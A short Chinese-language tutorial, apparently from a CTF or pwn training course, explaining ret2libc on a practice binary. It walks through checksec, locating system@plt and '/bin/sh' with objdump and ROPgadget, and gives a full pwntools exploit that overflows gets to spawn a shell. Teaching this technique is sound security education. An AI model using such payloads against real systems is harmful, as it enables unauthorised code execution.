Ret2Libc即控制程序执行libc库中的函数。
通常是返回到某个函数的plt处,或者函数运行时候的实际地址。
下面是一个例子:
可以看出程序gets有一个明显的溢出漏洞
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
可以看到程序开启了NX,
我的linux已经开启了ASLR
而且,这个程序中,
我们可以用 objdump在plt表中找到system
objdump -d ret2libc1 | grep "plt"
用ROPgadget可以找到 ‘/bin/sh’
ROPgadget.py --binary ret2libc1 --string "/bin/sh"
system_plt = 0x08048460
bin_sh_addr = 0x08048720
确定溢出漏洞所需要的填充长度为112
利用思路:
1、用system_plt地址覆盖函数的返回地址
2、构造一个system_plt的返回地址
3、给system函数传入参数:/bin/sh 的地址
我们就可以构造payload了
exp:
from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720
io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) + p32(bin_sh)
io.sendline(payload)
io.interactive()
成功getshell